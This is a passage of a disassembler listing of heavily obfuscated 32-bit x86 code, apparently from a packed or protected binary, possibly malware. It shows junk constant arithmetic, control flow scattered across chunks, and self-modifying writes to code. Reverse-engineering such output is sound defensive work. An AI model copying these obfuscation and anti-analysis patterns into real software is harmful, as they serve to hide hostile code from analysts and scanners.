		ror	eax, 4
		xor	eax, 7DFE23Fh
		push	ecx
		push	0CD4C20F4h
		pop	ecx
		and	ecx, 0F914AB0Bh
		or	ecx, 7D0C5C16h
		add	ecx, 9EF691C9h
		jmp	loc_44AA5F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439A2E

loc_4485D3:				; CODE XREF: sub_439A2E+7145j
		push	edx
		push	750F6DEFh
		jmp	loc_44E0A8
; END OF FUNCTION CHUNK	FOR sub_439A2E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DC42

loc_4485DE:				; CODE XREF: sub_43DC42+1770j
					; sub_43DC42+8E4Ej
		xor	edx, 0DF05A4C6h
		test	edx, 40h
		jmp	loc_43B464
; END OF FUNCTION CHUNK	FOR sub_43DC42
; ---------------------------------------------------------------------------

loc_4485EF:				; CODE XREF: kgbikm34:00444998j
		xor	eax, ebx

loc_4485F1:				; CODE XREF: kgbikm34:0044DF47j
		xchg	esi, [esp]
		call	sub_43D576
; START	OF FUNCTION CHUNK FOR sub_43B932

loc_4485F9:				; CODE XREF: sub_43B932:loc_43BC9Bj
					; sub_43B932+55B3j
		call	sub_44A9D8
		push	760C370Bh
		pop	edx
		add	edx, 0ABD800F2h
		or	edx, 0FBB6D194h
		rol	edx, 8
		jmp	loc_43C5C8
; END OF FUNCTION CHUNK	FOR sub_43B932
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449C42

loc_448618:				; CODE XREF: sub_449C42+Dj
		lea	eax, sub_44C198
		mov	byte ptr [eax],	0C3h
		jmp	sub_44C198
; END OF FUNCTION CHUNK	FOR sub_449C42
; ---------------------------------------------------------------------------
		call	nullsub_307
		jmp	ds:dword_41E0C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449EA3

loc_448631:				; CODE XREF: sub_449EA3+13j
		jmp	nullsub_313
; END OF FUNCTION CHUNK	FOR sub_449EA3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446634

loc_448636:				; CODE XREF: sub_446634+7j
		jmp	sub_43EB8F
; END OF FUNCTION CHUNK	FOR sub_446634

; =============== S U B	R O U T	I N E =======================================



sub_44863B	proc near		; DATA XREF: kgbikm34:00437802o

; FUNCTION CHUNK AT 004416D8 SIZE 00000005 BYTES

		add	eax, ebp
		push	offset sub_43ED21
		jmp	loc_4416D8
sub_44863B	endp


; =============== S U B	R O U T	I N E =======================================



sub_448647	proc near		; DATA XREF: sub_43D1AB-29A0o
		lea	eax, loc_44E02B
		call	sub_44DB18
sub_448647	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_4440CD

loc_448652:				; CODE XREF: sub_4440CD+8CB6j
		jmp	loc_44AEB2
; END OF FUNCTION CHUNK	FOR sub_4440CD
; ---------------------------------------------------------------------------

loc_448657:				; CODE XREF: kgbikm34:0043FB62j
		jmp	loc_43BCF5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4458AD

loc_44865C:				; CODE XREF: sub_4458AD-A838j
		jmp	loc_438ED3
; END OF FUNCTION CHUNK	FOR sub_4458AD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4407E7

loc_448661:				; CODE XREF: sub_4407E7-30C0j
		mov	[ebp-14h], eax
		jmp	loc_44005E
; END OF FUNCTION CHUNK	FOR sub_4407E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44739D

loc_448669:				; CODE XREF: sub_44739D:loc_449B59j
		call	sub_448897
; END OF FUNCTION CHUNK	FOR sub_44739D
; START	OF FUNCTION CHUNK FOR sub_43D494

loc_44866E:				; CODE XREF: sub_43D494+1EAAj
		jmp	loc_43ECB4
; END OF FUNCTION CHUNK	FOR sub_43D494
; ---------------------------------------------------------------------------

loc_448673:				; CODE XREF: kgbikm34:loc_4429CEj
					; kgbikm34:0044CCDAj
		js	loc_438B2F
		sbb	eax, 179BEFCDh
		jmp	sub_441086
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437B11

loc_448684:				; CODE XREF: sub_437B11:loc_441394j
		shl	ebx, 0Eh
		sub	ecx, eax
		jmp	loc_44908A
; END OF FUNCTION CHUNK	FOR sub_437B11
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_219. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449D78

loc_44868F:				; CODE XREF: sub_449D78-E24Fj
		jmp	nullsub_132
; END OF FUNCTION CHUNK	FOR sub_449D78
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445779

loc_448694:				; CODE XREF: sub_445779-AB8Aj
		jmp	loc_4432A1
; END OF FUNCTION CHUNK	FOR sub_445779

; =============== S U B	R O U T	I N E =======================================



sub_448699	proc near		; DATA XREF: sub_439587:loc_44A39Eo
		movzx	eax, word ptr [ebp-6]
		mov	[ebp-1Ch], eax
		jmp	loc_444B81
sub_448699	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439587

loc_4486A5:				; CODE XREF: kgbikm34:loc_43DD5Ej
					; sub_439587:loc_44AA93j
		cmp	dword ptr [ebp-20h], 0
		jge	loc_44915C
		jmp	loc_43BBF8
; END OF FUNCTION CHUNK	FOR sub_439587
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438B6B

loc_4486B4:				; CODE XREF: sub_438B6B+7D53j
		cmp	al, 0A4h
		jz	loc_439983
		jmp	loc_43DDD3
; END OF FUNCTION CHUNK	FOR sub_438B6B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B1D6

loc_4486C1:				; CODE XREF: sub_43B1D6:loc_43CBB4j
		jz	loc_442155
		jmp	loc_43EC4D
; END OF FUNCTION CHUNK	FOR sub_43B1D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441D2F

loc_4486CC:				; CODE XREF: sub_441D2F-4354j
		jz	loc_43E703
		jmp	loc_449222
; END OF FUNCTION CHUNK	FOR sub_441D2F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BA7A

loc_4486D7:				; CODE XREF: sub_43BA7A:loc_43B94Ej
		add	eax, 19500E2Fh
		xchg	eax, [esp+4+var_4]
		jmp	loc_441B52
; END OF FUNCTION CHUNK	FOR sub_43BA7A
; ---------------------------------------------------------------------------

loc_4486E5:				; CODE XREF: kgbikm34:00442958j
		jz	loc_43B831
; START	OF FUNCTION CHUNK FOR sub_446F79

loc_4486EB:				; CODE XREF: sub_446F79:loc_441CDEj
		jmp	sub_4400C7
; END OF FUNCTION CHUNK	FOR sub_446F79
; ---------------------------------------------------------------------------
		and	ebp, 5ECFAD86h
		push	ebp
		cmp	edx, ebp
		jmp	loc_43B82B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44114F

loc_4486FE:				; CODE XREF: sub_44114F+4017j
		add	esi, edi

loc_448700:				; CODE XREF: sub_44114F:loc_445156j
		xor	ebx, 4846242h
		cmp	ebx, 0E132894Eh
		jmp	loc_43C813
; END OF FUNCTION CHUNK	FOR sub_44114F
; ---------------------------------------------------------------------------
		sub	edx, eax
		jmp	sub_440E3B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A80D

loc_448718:				; CODE XREF: sub_44A80D:loc_438D78j
		lea	eax, nullsub_12
		call	sub_449A78

loc_448723:				; CODE XREF: sub_449804+15j
		jmp	loc_4451DF
; END OF FUNCTION CHUNK	FOR sub_44A80D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447E85

loc_448728:				; CODE XREF: sub_447E85-D73Ej
		jnb	loc_43BB48
; END OF FUNCTION CHUNK	FOR sub_447E85
; START	OF FUNCTION CHUNK FOR sub_43FA71

loc_44872E:				; CODE XREF: sub_4403D5-8009j
					; sub_43FA71-7697j ...
		jmp	loc_43B837
; END OF FUNCTION CHUNK	FOR sub_43FA71
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447E85

loc_448733:				; CODE XREF: sub_44BB9F-AB4Cj
					; sub_447E85+Aj
		pop	ecx
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_447E85
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BCAD

loc_448736:				; CODE XREF: sub_43BCAD+8471j
		jmp	loc_443C09
; END OF FUNCTION CHUNK	FOR sub_43BCAD
; ---------------------------------------------------------------------------

loc_44873B:				; CODE XREF: kgbikm34:00441767j
		jmp	loc_443CBE
; ---------------------------------------------------------------------------

loc_448740:				; CODE XREF: kgbikm34:0043EE9Ej
		jmp	loc_4443E0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B1D6

loc_448745:				; CODE XREF: sub_43B1D6+10106j
					; kgbikm34:0044B2EBj
		xor	esi, 8933E340h
		add	esi, ebp
		call	sub_439A2E

loc_448752:				; CODE XREF: sub_44C62D+16j
		jmp	loc_43FF82
; END OF FUNCTION CHUNK	FOR sub_43B1D6
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_75. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BCAD

loc_448758:				; CODE XREF: sub_43BCAD+117CDj
		jmp	loc_442999
; END OF FUNCTION CHUNK	FOR sub_43BCAD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44DE4C

loc_44875D:				; CODE XREF: sub_44DE4C-9EAFj
		jmp	loc_43A55B
; END OF FUNCTION CHUNK	FOR sub_44DE4C
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_110. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_448763:				; CODE XREF: kgbikm34:004457A6j
		jmp	loc_444123
; ---------------------------------------------------------------------------
		mov	eax, 0D6CB94Ch
		push	edi
		push	0AAF5EC80h
		pop	edi
		and	edi, 0BAB17183h
		jmp	loc_43D709
; ---------------------------------------------------------------------------
		or	ebp, 2418E041h
		jge	loc_43A3FF
		jmp	sub_446C27
; ---------------------------------------------------------------------------
		jbe	loc_43B646
		push	44B18B39h
		jmp	sub_44063D
; ---------------------------------------------------------------------------

loc_4487A0:				; CODE XREF: kgbikm34:00438C90j
		push	edx
		push	9E4EC9F9h
		pop	edx
		sub	edx, 1B14FB1Fh
		jmp	loc_44499D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A1A6

loc_4487B2:				; CODE XREF: sub_44A1A6:loc_43B0EAj
					; kgbikm34:0043B10Dj
		xor	eax, 0C1E88B26h
		add	eax, ebp
		add	eax, 80FA41A3h
		mov	eax, [eax]
		pop	ecx
		pop	ebp
		retn	0Ch
; END OF FUNCTION CHUNK	FOR sub_44A1A6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438B6B

loc_4487C7:				; CODE XREF: sub_438B6B+F891j
		jmp	loc_4427FF
; END OF FUNCTION CHUNK	FOR sub_438B6B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448AC9

loc_4487CC:				; CODE XREF: sub_448AC9-92B4j
		mov	byte ptr [ecx],	87h
		pop	ecx
		add	esi, 0FC0DDAC5h
		rol	esi, 13h
		add	esi, 0C5FA9226h

loc_4487DF:				; DATA XREF: sub_448AC9:loc_43F810o
		xchg	esi, [esp+0]
		jmp	loc_44A55F
; END OF FUNCTION CHUNK	FOR sub_448AC9
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_57. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442B5D

loc_4487E8:				; CODE XREF: sub_442B5D+9795j
		jmp	loc_4430D3
; END OF FUNCTION CHUNK	FOR sub_442B5D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BF6F

loc_4487ED:				; CODE XREF: sub_43BF6F+10280j
		jmp	nullsub_196
; END OF FUNCTION CHUNK	FOR sub_43BF6F

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4487F2	proc near		; CODE XREF: sub_439BDE:loc_4374E3j
					; sub_439022:loc_43902Ej ...

; FUNCTION CHUNK AT 00449A38 SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esp
		jns	sub_44CEEA
		jmp	loc_449A38
sub_4487F2	endp


; =============== S U B	R O U T	I N E =======================================



sub_448800	proc near		; DATA XREF: kgbikm34:0044B300o

; FUNCTION CHUNK AT 0043FD40 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00448CEE SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0044B7BB SIZE 00000005 BYTES

		push	4689524Dh
		pop	edx
		xor	edx, 2124EC9Eh
		add	edx, 0E32F29BFh
		jmp	loc_43FD40
sub_448800	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444D26

loc_448817:				; CODE XREF: sub_444D26+7776j
		ja	loc_43EE35
		add	ebp, esi
		sbb	edx, 44E1082Ch
		jmp	loc_443941
; END OF FUNCTION CHUNK	FOR sub_444D26
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4494B1

loc_44882A:				; CODE XREF: sub_4494B1+9j
		sub	al, 99h
		mov	edx, [ebp-4]
		imul	byte ptr [edx]
		jmp	loc_4451A9
; END OF FUNCTION CHUNK	FOR sub_4494B1
; ---------------------------------------------------------------------------
		pop	ebx
		jmp	sub_449EC1
; ---------------------------------------------------------------------------

loc_44883C:				; CODE XREF: kgbikm34:0043CCC5j
		jp	loc_449CA8
		or	edx, esi
; START	OF FUNCTION CHUNK FOR sub_44B20C

loc_448844:				; CODE XREF: sub_44B20C-1413Ej
		xor	edx, 0D6370D8Dh
		add	edx, ebp
		add	edx, 86422BEDh
		mov	edx, [edx]
		imul	byte ptr [edx]
		jmp	loc_44CCF9
; END OF FUNCTION CHUNK	FOR sub_44B20C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439BDE

loc_44885B:				; CODE XREF: sub_439BDE+9A8Cj
		sbb	ebx, 0B146F02Fh
		sbb	ecx, 0EACB244Ah
		jmp	loc_44571F
; END OF FUNCTION CHUNK	FOR sub_439BDE
; ---------------------------------------------------------------------------

loc_44886C:				; CODE XREF: kgbikm34:0044B398j
		test	edx, 0D9E1E13h
		jmp	loc_43986C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D632

loc_448877:				; CODE XREF: sub_43D632+Bj
		xor	ecx, 0D62E165Dh
		and	ecx, 0B008B233h
		add	ecx, 69D29864h
		cmp	ecx, 8FD0D818h
		jmp	loc_43C466
; END OF FUNCTION CHUNK	FOR sub_43D632
; ---------------------------------------------------------------------------

loc_448894:				; CODE XREF: kgbikm34:0043B1D0j
		rol	eax, 16h

; =============== S U B	R O U T	I N E =======================================



sub_448897	proc near		; CODE XREF: sub_44739D:loc_448669p

; FUNCTION CHUNK AT 0044D243 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044D52F SIZE 0000000B BYTES

		xchg	edx, [esp+0]
		pop	edx
		xor	eax, eax
		mov	[ebp-10h], eax
		cmp	dword ptr [ebp-4], 0
		jz	loc_43D734

loc_4488AA:				; CODE XREF: sub_449D87:loc_43765Ej
		jmp	loc_44D243
sub_448897	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4488AF	proc near		; DATA XREF: sub_44DA54+5o

; FUNCTION CHUNK AT 0044068C SIZE 00000021 BYTES
; FUNCTION CHUNK AT 004426BA SIZE 00000007 BYTES

		push	6FFE7ADBh
		pop	ebx
		add	ebx, 7E519F31h
		jnz	loc_44068C
sub_4488AF	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_43717F

loc_4488C1:				; CODE XREF: sub_43717F+5j
		jmp	loc_4460CB
; END OF FUNCTION CHUNK	FOR sub_43717F
; ---------------------------------------------------------------------------
		push	edx
		rol	edx, 1Bh
		jmp	loc_440688

; =============== S U B	R O U T	I N E =======================================



sub_4488CF	proc near		; CODE XREF: sub_44DE2F+Aj

var_4		= dword	ptr -4

		push	ebx
		mov	ebx, edx
		xchg	ebx, [esp+4+var_4]
		push	ecx
		push	0A25ECCA4h
		pop	ecx
		and	ecx, 5BBDE829h
		test	ecx, 4
		jmp	loc_44B38D
sub_4488CF	endp

; ---------------------------------------------------------------------------
		test	eax, esi
		jmp	loc_440AA2
; ---------------------------------------------------------------------------

loc_4488F4:				; CODE XREF: kgbikm34:0043AA48j
		jns	loc_447ECC
		sbb	edi, edx
		popf
		push	78549496h

loc_448902:				; CODE XREF: kgbikm34:loc_44521Bj
		push	edi
		push	0D2755186h
		pop	edi
		or	edi, 0F1EF3F66h
		jmp	loc_443F29
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440116

loc_448914:				; CODE XREF: sub_440116-3966j
		adc	edx, [esp+arg_0]
		add	esp, 8
		movzx	eax, word ptr [eax]
		shl	eax, 2
		jmp	loc_44897E
; END OF FUNCTION CHUNK	FOR sub_440116
; ---------------------------------------------------------------------------

loc_448926:				; CODE XREF: kgbikm34:00449B2Aj
		jns	loc_445C23
		add	eax, 6AEF2F9Ah
; START	OF FUNCTION CHUNK FOR sub_43EA97

loc_448932:				; CODE XREF: sub_43EA97:loc_449B12j
		add	edi, 4C694AFFh
		call	sub_43A108

loc_44893D:				; CODE XREF: sub_442F5A:loc_44593Ej
		jnz	loc_4464DC
		jmp	loc_44D3B3
; END OF FUNCTION CHUNK	FOR sub_43EA97
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449893

loc_448948:				; CODE XREF: sub_449893:loc_44291Ej
		mov	esp, ebp
		pop	ebp
		mov	eax, ds:dword_43C5B8
		or	eax, eax
		jnz	loc_448E8D
		jmp	loc_4475C3
; END OF FUNCTION CHUNK	FOR sub_449893
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DC42

loc_44895E:				; CODE XREF: sub_43DC42+11j
		or	ecx, 47FBA6BDh
		and	ecx, 97EF7A42h
		jns	loc_44B9FD

loc_448970:				; CODE XREF: sub_440141+B012j
		jmp	loc_437851
; END OF FUNCTION CHUNK	FOR sub_43DC42
; ---------------------------------------------------------------------------
		shl	edi, 0Ch
		cdq
		jmp	loc_44B9F6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440116

loc_44897E:				; CODE XREF: sub_440116+880Bj
		mov	edx, [ebp-18h]
		mov	edx, [edx+1Ch]
		add	edx, [ebp-4]
		add	eax, edx
		mov	eax, [eax]
		jmp	sub_43A3D0
; END OF FUNCTION CHUNK	FOR sub_440116
; ---------------------------------------------------------------------------
		adc	esi, 0FD7535Dh
		ror	esi, 9
		jmp	loc_44318D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CF41

loc_44899E:				; CODE XREF: sub_43CF41:loc_445C18j
		call	sub_44A2AC
		cmp	ds:dword_43836C, 0
		jnz	loc_44DB92
		lea	edx, [ebp-14h]
		mov	eax, offset dword_438370
		call	sub_4479B1
		lea	eax, [ebp-14h]
		jmp	loc_448179
; END OF FUNCTION CHUNK	FOR sub_43CF41

; =============== S U B	R O U T	I N E =======================================



sub_4489C5	proc near		; CODE XREF: sub_43CF41+7j

; FUNCTION CHUNK AT 0043C1BD SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0043D469 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 004435F2 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0044BA4B SIZE 00000016 BYTES

		add	esp, 0FFFFFFECh
		jmp	loc_4435F2
sub_4489C5	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_4489CD:				; CODE XREF: kgbikm34:00441E4Aj
		pop	ecx
		and	ecx, 3520B4ADh
		add	ecx, 0F023795Ch
		xchg	ecx, [esp]
		jmp	sub_43BF6F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449CB4

loc_4489E2:				; CODE XREF: sub_449CB4:loc_441175j
		push	offset sub_4405F9
		jmp	loc_43C460
; END OF FUNCTION CHUNK	FOR sub_449CB4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4417B1

loc_4489EC:				; CODE XREF: sub_4417B1+F04j
		jge	loc_445DA7

loc_4489F2:				; CODE XREF: sub_43CECD-2BEFj
		jmp	loc_44C208
; END OF FUNCTION CHUNK	FOR sub_4417B1
; ---------------------------------------------------------------------------
		db 0F7h
		dd 7DFF0BC7h, 0E0F9E9C0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4397E2

loc_448A02:				; CODE XREF: sub_4397E2:loc_44D3F5j
		pop	edi
		and	edi, 7CA5363Eh
		xor	edi, 4A467E2Eh
		jns	loc_4402FF
; END OF FUNCTION CHUNK	FOR sub_4397E2
; START	OF FUNCTION CHUNK FOR sub_43DFE5

loc_448A15:				; CODE XREF: sub_43DFE5-2027j
		jmp	loc_445787
; END OF FUNCTION CHUNK	FOR sub_43DFE5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448D30

loc_448A1A:				; CODE XREF: sub_448D30-107DBj
		jmp	loc_449A15
; END OF FUNCTION CHUNK	FOR sub_448D30
; ---------------------------------------------------------------------------
		adc	edx, 445676E5h
		jmp	loc_449418
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438B6B

loc_448A2A:				; CODE XREF: sub_438B6B+EB83j
		jge	loc_43C782

loc_448A30:				; CODE XREF: kgbikm34:00437581j
		jmp	sub_43D9B3
; END OF FUNCTION CHUNK	FOR sub_438B6B
; ---------------------------------------------------------------------------
		xchg	ebx, [esi]
		jnz	loc_44840C
		cmp	ebp, edx
		jmp	loc_43C77C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B400

loc_448A44:				; CODE XREF: sub_43B400+Bj
					; sub_43B1D6:loc_44B282j ...
		jb	loc_43E162
		cmp	ds:dword_445F74, 0
		jnz	loc_43EA87
		call	sub_447F4D
		mov	edx, 0E5254649h
		call	sub_440FF4
		mov	ds:dword_445F74, eax
		jmp	loc_43E731
; END OF FUNCTION CHUNK	FOR sub_43B400
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4492B9

loc_448A70:				; CODE XREF: sub_4492B9+Cj
		push	eax
		mov	edx, eax
		call	sub_4479B1
		push	eax
		push	0E1F8DD59h
		jmp	loc_43AE41
; END OF FUNCTION CHUNK	FOR sub_4492B9
; ---------------------------------------------------------------------------

loc_448A83:				; CODE XREF: kgbikm34:loc_43F798j
					; kgbikm34:004440FCj
		add	esi, 7CD1F033h
		xchg	esi, [esp]
		jmp	loc_44D680
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449F77

loc_448A91:				; CODE XREF: sub_449F77:loc_43F114j
		pop	edx
		or	edx, 0AF849EAAh
		test	edx, 2
		jmp	loc_4374C2
; END OF FUNCTION CHUNK	FOR sub_449F77
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_336. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439609

loc_448AA4:				; CODE XREF: sub_439609+E68Cj
		jmp	loc_43D411
; END OF FUNCTION CHUNK	FOR sub_439609
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448546

loc_448AA9:				; CODE XREF: sub_448546-80CDj
		jmp	loc_44C747
; END OF FUNCTION CHUNK	FOR sub_448546
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C0C6

loc_448AAE:				; CODE XREF: sub_43C0C6+9j
		jmp	nullsub_313
; END OF FUNCTION CHUNK	FOR sub_43C0C6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4429A6

loc_448AB3:				; CODE XREF: kgbikm34:0043AA4Ej
					; sub_4429A6:loc_446B43j
		jz	loc_441168
		jmp	loc_437816
; END OF FUNCTION CHUNK	FOR sub_4429A6
; ---------------------------------------------------------------------------
		js	loc_44AAA8
		jmp	loc_43FDE9

; =============== S U B	R O U T	I N E =======================================



sub_448AC9	proc near		; CODE XREF: sub_449629j
					; DATA XREF: sub_449617+8o

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 0043F804 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 004487CC SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0044A55F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044B1BA SIZE 00000005 BYTES

		push	edx
		call	sub_44824C
		push	8FF4CB6Dh
		xchg	ecx, [esp+8+var_8]
		mov	eax, ecx
		jmp	loc_44B1BA
sub_448AC9	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_48. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_448ADF:				; CODE XREF: kgbikm34:0043F178j
		jmp	loc_442D6E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A07D

loc_448AE4:				; CODE XREF: sub_43A07D+Bj
		jmp	loc_445FF8
; END OF FUNCTION CHUNK	FOR sub_43A07D
; ---------------------------------------------------------------------------
		jl	loc_4370AE
		jmp	loc_442EA5
; ---------------------------------------------------------------------------

loc_448AF4:				; CODE XREF: kgbikm34:0043BAB0j
		jz	loc_439A43
		jmp	loc_44BA2A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439609

loc_448AFF:				; CODE XREF: sub_439609:loc_440E06j
		cmp	edx, 7C61090Eh
		jz	loc_43EA82

loc_448B0B:				; CODE XREF: kgbikm34:00439333j
					; sub_4414DB+490Bj ...
		jo	loc_43EC9D
		or	eax, eax
		jz	loc_43EA80
		cmp	eax, 0FFFFFFFFh
		jz	loc_43EA80
		mov	eax, [eax]
		jmp	loc_44221A
; END OF FUNCTION CHUNK	FOR sub_439609
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_259. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444296

loc_448B2A:				; CODE XREF: sub_444296+5j
		jmp	loc_43D3DC
; END OF FUNCTION CHUNK	FOR sub_444296
; ---------------------------------------------------------------------------

loc_448B2F:				; CODE XREF: kgbikm34:004483BEj
		or	ecx, 8B0F68C5h
		add	ecx, 70E442E3h
		xchg	ecx, [esp]
		jmp	loc_44164C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BCAD

loc_448B43:				; CODE XREF: sub_43BCAD+A3B3j
		jbe	loc_441B74
		jb	loc_446A70
		adc	ecx, 0DB40EF85h
		jmp	loc_44D46E
; END OF FUNCTION CHUNK	FOR sub_43BCAD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449D59

loc_448B5A:				; CODE XREF: sub_449D59-116C2j
		call	sub_44739D
		push	35CC311Fh
		pop	edx
		rol	edx, 5
		sub	edx, 0C8036505h
		cmp	edx, 42E29F96h
		jmp	loc_43F6CB
; END OF FUNCTION CHUNK	FOR sub_449D59
; ---------------------------------------------------------------------------

loc_448B79:				; DATA XREF: sub_43FD86+9794o
		mov	[ebp-4], eax
		mov	eax, [ebp-4]
		mov	al, [eax]
		jo	loc_4445EE
		sub	al, 99h
		jmp	loc_44653F
; ---------------------------------------------------------------------------

locret_448B8E:				; CODE XREF: kgbikm34:0043ACEAj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441784

loc_448B8F:				; CODE XREF: sub_441784+Fj
		jmp	nullsub_108
; END OF FUNCTION CHUNK	FOR sub_441784
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EB8F

loc_448B94:				; CODE XREF: sub_4394C0+5j
					; sub_43EB8F:loc_44CC17j
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_43FA3D
		jmp	loc_43919A
; END OF FUNCTION CHUNK	FOR sub_43EB8F
; ---------------------------------------------------------------------------
		add	edx, 544BA681h
		jmp	sub_439609
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F6D0

loc_448BB0:				; CODE XREF: sub_43F6D0:loc_4419DBj
		mov	eax, [esp-4+arg_0]

loc_448BB3:				; CODE XREF: kgbikm34:0043E6B2j
		push	edi
		mov	edi, edx
		xchg	edi, [esp+0]
		jmp	loc_442B85
; END OF FUNCTION CHUNK	FOR sub_43F6D0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_18. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440FF4

loc_448BBF:				; CODE XREF: sub_440FF4+A481j
		jmp	nullsub_278
; END OF FUNCTION CHUNK	FOR sub_440FF4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_448BC4	proc near		; CODE XREF: sub_43CF41:loc_44DB88p

var_14		= byte ptr -14h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043A4E9 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00443205 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00446386 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 004479AA SIZE 00000002 BYTES

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFECh
		cmp	ds:byte_438380,	0
		jnz	loc_43A4E9
		jmp	loc_443205
sub_448BC4	endp

; ---------------------------------------------------------------------------
